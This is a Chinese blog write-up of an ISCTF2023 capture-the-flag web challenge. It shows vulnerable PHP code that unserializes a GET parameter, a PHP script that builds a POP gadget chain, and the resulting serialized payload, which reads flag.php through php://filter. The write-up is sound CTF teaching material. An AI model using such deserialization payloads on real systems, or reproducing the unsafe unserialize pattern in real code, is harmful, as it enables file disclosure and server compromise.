首页 > 其他分享 >ISCTF2023部分题解

ISCTF2023部分题解

时间:2023-12-22 18:37:56浏览次数:32  
标签:__ ISCTF2023 Saber 题解 class release echo 部分 public

WEB:

圣杯战争 !!! (题解:结局别说遗憾 Zn. 解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
从代码中可以看出这题再考 PHP 反序列的 POP 链的构造,并且它的这四个魔术方法的触发顺序为: 1. __wakeup() 对对象反序列化自动触发 2. __toString() 对象被当作字符串自动触发 3. __get($key) 访问 prepare 不存在的属性被调用 4. __invoke() saber 被实列被作为函数调用 开始构造 POP 链:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __construct()
{
$this->excalibuer= new prepare();
}
}
class prepare{
public $release;
}
class saber{
public $weapon='php://filter/convert.base64-encode/resource=flag.php'; //指
定过滤方式,访问flag.php
}
class summon{
public $Saber;
public $Rider;
}
$a = new summon();
$a->Saber =new artifact();
$a->Saber->excalibuer->release=new saber();
echo urldecode(serialize($a));
?>
运行一下即可得到反序列化 POP 链:
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:
{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-
encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
HackBar 传入 get 参数,即可在页面中得到: 对得到的字符串 base64 解密一下得到 flag ISCTF{9b2fef42-d7ea-4ce0-8d17-388a15e46949}

标签:__,ISCTF2023,Saber,题解,class,release,echo,部分,public
From: https://www.cnblogs.com/IWaits/p/17922145.html

相关文章

  • [问题记录] C# 使用NPOI操作Excel模版写入数据 - 生成文件打开时提示 "发现 XXX.xlsx
    解决方案:1.先确保原来的模版文件打开是正常的,没有提示要恢复2.用Office打开这个模版文件,另存为一个文件。用这个文件来作为模版使用。 问题描述:使用C#NPOI操作Excel模版(模版用office打开是正常的),写入数据,导出的文件打开时提示是否尝试恢复,点击“是”后,发现Excel内......
  • 爬虫及js相关部分内容
    爬虫websocket直播弹幕抓取逆向分析流程总结websocket,flashchrome插件添加了有道生词本的chromegoogle翻译扩展和有道翻译扩展js提取authtaobao账号authweb自动化新浪账号自动化刷新headlesspuppeteer抓取微指数nodejs后端sequelizesequelize应用hook实现对分......
  • 【洛谷 P1093】[NOIP2007 普及组] 奖学金 题解(结构体排序)
    [NOIP2007普及组]奖学金题目描述某小学最近得到了一笔赞助,打算拿出其中一部分为学习成绩优秀的前名学生发奖学金。期末,每个学生都有门课的成绩:语文、数学、英语。先按总分从高到低排序,如果两个同学总分相同,再按语文成绩从高到低排序,如果两个同学总分和语文成绩都相同,那么规......
  • [CF17E] Palisection 题解
    [CF17E]Palisection题解思路直接统计相交的字符串很难数,考虑正难则反。用总共的回文串对数减去相离的回文串个数。设总共有\(tot\)个回文串,用manacher跑出来每个位置的最大回文半径后,使用差分的技巧保存两个数组:\(f_i\)表示以\(i\)为开头的回文串个数,\(g_i\)表示以......
  • CF187A 题解
    原题传送门题目大意如题意翻译。思路分析很水的一道题目,可以将第一个排列\(a\)看作最终排列,接下来每输入一个数,让它与\(a_m\)进行比较,直到两个排列相同。最后看题目范围,\(1≤n≤2\times10^5\),时间复杂度\(\mathcal{O(n)}\),空间复杂度\(\mathcal{O(n)}\)。代码:/*Writ......
  • CF1912L 题解
    原题传送门题目大意有一个仅有0和L构成的序列,求出一种方案,使得左部分的0数量不等于右部分的O数量,且左部分的L数量不等于右部分的L数量,若不存在输出-1。思路分析首先看题目范围,\(2≤n≤200\),数据很小,考虑暴力。可以使用字符串截取函数s.substr()。本题我们使......
  • P5289 [十二省联考 2019] 皮配 题解
    题目链接点击打开链接题目解法题意比较复杂,形式化一下题意是:一些人和一些城市,每个人属于一个城市,每个人属于\(A/B/C/D\)队,需要满足:每个城市中的人要么都属于\(AC\)或\(BD\),且\(A+C\leC_0,\;B+D\leC_1,\;A+B\leD_0,\;C+D\leD_1\)暴力\(dp\)是\(f_{i,a,b,c}\)表......
  • 2023第七届强网杯 个人题解
    27htppySpring评价:相对简单,放出来的晚,做的出来的人相对比较少大致流程是可以上传.pebble模板文件,然后通过访问上传的恶意模板文件进行rce。首先上传恶意模板文件,经过几次尝试,黑名单过滤了,org.springframework.context.support.ClassPathXmlApplicationContext和{{最终.pe......
  • CF1914 D Array Collapse 题解
    LinkCF1914DArrayCollapseQuestion初始给出一个数组\(\{P\}\),数组中每个值都不相同,我们可以选中\(P\)数组中连续的一段,然后删除除了最小值以外的所有元素,求删除多次(包括\(0\)次)后,剩下的数组的数量Solution当时就没怎么往DP方面想,没想到还能这样DP定义\(F[i]\)......
  • P9973 [THUPC 2024 初赛] 你说得对,但是 AIGC の 题解
    难度极低。显然,句子开头是Youareright,but即为人工智能。#include<iostream>#include<string>#include<cstdio>namespaceio{template<typenameT>inlinevoidread(T&x){x=0;boolf=false;charch=getchar();while(ch<'0......